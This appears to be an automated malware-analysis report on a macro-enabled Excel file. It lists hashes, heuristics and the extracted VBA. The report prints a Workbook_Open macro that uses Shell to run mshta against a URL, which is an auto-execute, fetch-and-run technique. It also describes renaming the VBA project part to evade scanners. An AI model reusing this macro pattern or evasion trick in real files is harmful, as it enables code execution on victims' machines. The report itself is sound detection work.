Office (OOXML) malware analysis — malicious · aec2b31a614bfd5a

MALICIOUS

Office (OOXML)

11.8 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-05-26

MD5: aada28a78d77fff15236f819a7e7d70a SHA-1: d99909df2eb8748399f143ad282a728794da13bd SHA-256: aec2b31a614bfd5ad6f26cb01359400cd53db3dd33a78b48e1c7dc89a07b3bdb

230 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1218.005 Client Execution: Mshta

The sample contains a Workbook_Open macro that executes mshta with a URL. This indicates an attempt to download and execute a remote script when the document is opened. The VBA macro uses the Shell() function to invoke mshta, which is a known technique for executing arbitrary code. The URL http://www.google.com was reconstructed from the script.

Heuristics 7

VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: xl/worksheets/sexo.BiN)
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Private Sub Workbook_Open()
Shell "mshta http://www.google.com"
End Sub
```
LOLBin reference in VBA critical OLE_VBA_LOLBIN

LOLBin reference in VBA
Matched line in script
```
Private Sub Workbook_Open()
Shell "mshta http://www.google.com"
End Sub
```
VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED

The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro

Matched line in script

Attribute VB_Customizable = True
Private Sub Workbook_Open()
Shell "mshta http://www.google.com"

Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://www.google.com In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1342 bytes
SHA-256: `10bb4b48f1fb41cc53d03e8e62acb1ec0514660d521040991b6e7415a717889f`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Module1" Sub ajdiajsdij() End Sub Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Shell "mshta http://www.google.com" End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet2" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet3" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/worksheets/sexo.BiN	16384 bytes
SHA-256: `68cfdac4af956b07c4a1991f1bbace68762c3e4088efd58ff69df0f864364513`

Open this report in the interactive analyzer, or submit your own file for analysis.